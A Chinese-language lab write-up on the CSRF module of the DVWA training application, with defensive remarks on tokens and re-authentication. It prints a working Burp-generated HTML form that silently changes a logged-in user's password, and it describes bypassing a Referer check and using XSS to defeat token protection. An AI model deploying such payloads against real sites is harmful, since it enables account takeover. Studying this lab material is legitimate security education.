Dvwa_csrf
DVWA_CSRF（跨站请求伪造）
有一次有个人问我，csrf的最佳防护方式是什么，但是很遗憾，我虽然知道csrf的危害，但从未遇到过真实可用的案例，或者是被我忽略了，所以当时就回答了一句：最简单的方法是Referer校验，但仍有风险，后来我仔细想了一下，在普通的功能页，可以采用token的形式来防止csrf的利用，对关键操作进行人机交互，可以是在危险的操作前加上网页或短信验证码输入，当然必须有完善的校验过程，或者是必要的用户自确认，例如密码输入。总而言之，就是一定要用户输入一个，不能用脚本模拟获取并操作的东西。
LOW
为了演示漏洞，这是一个密码修改的功能，low级可以直观的感受到整个业务流，发送请求，在请求中填写新密码，后端接受到请求报文进行操作，
使用burpsuite生成的poc如下：
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.116.131/DVWA/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="password" />
<input type="hidden" name="password_conf" value="password" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
放在服务器上，让用户在登录的状态下访问此页即可修改该用户密码。这应该是很老很老的设计模型了，现在应该很难得看到这种设计了。
MEDIUM
在该等级中，存在了referer校验，所以直接使用上一级的poc是不会奏效的。
查看源代码可以解锁新知识：
stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false该条命令的意思是对referer与host匹配，那么把文件名更改成host不就行了……
HIGH
观察该级发送的数据报文，发现多了一个user_token参数，
查看源代码：
这里需要解决的是token问题，这个token是必须要后台生成，攻击服务器上的页面是没有办法获取到有效token的，这就导致了不能采用传统的csrf方式，但是可以将攻击代码写成js文件，保存到服务器上，通过xss攻击引入外部js，来重置密码。
如果网站上没有xss攻击点的话，只有token还是满足了安全需求的，但是总有一些犄角旮旯会有这种东西。js代码功底有限，这里就不copy大佬的代码了。
IMPOSSIBLE
该级的代码逻辑就是人机交互，身份确认，我认为是最没有可能进行csrf攻击的防护方式。
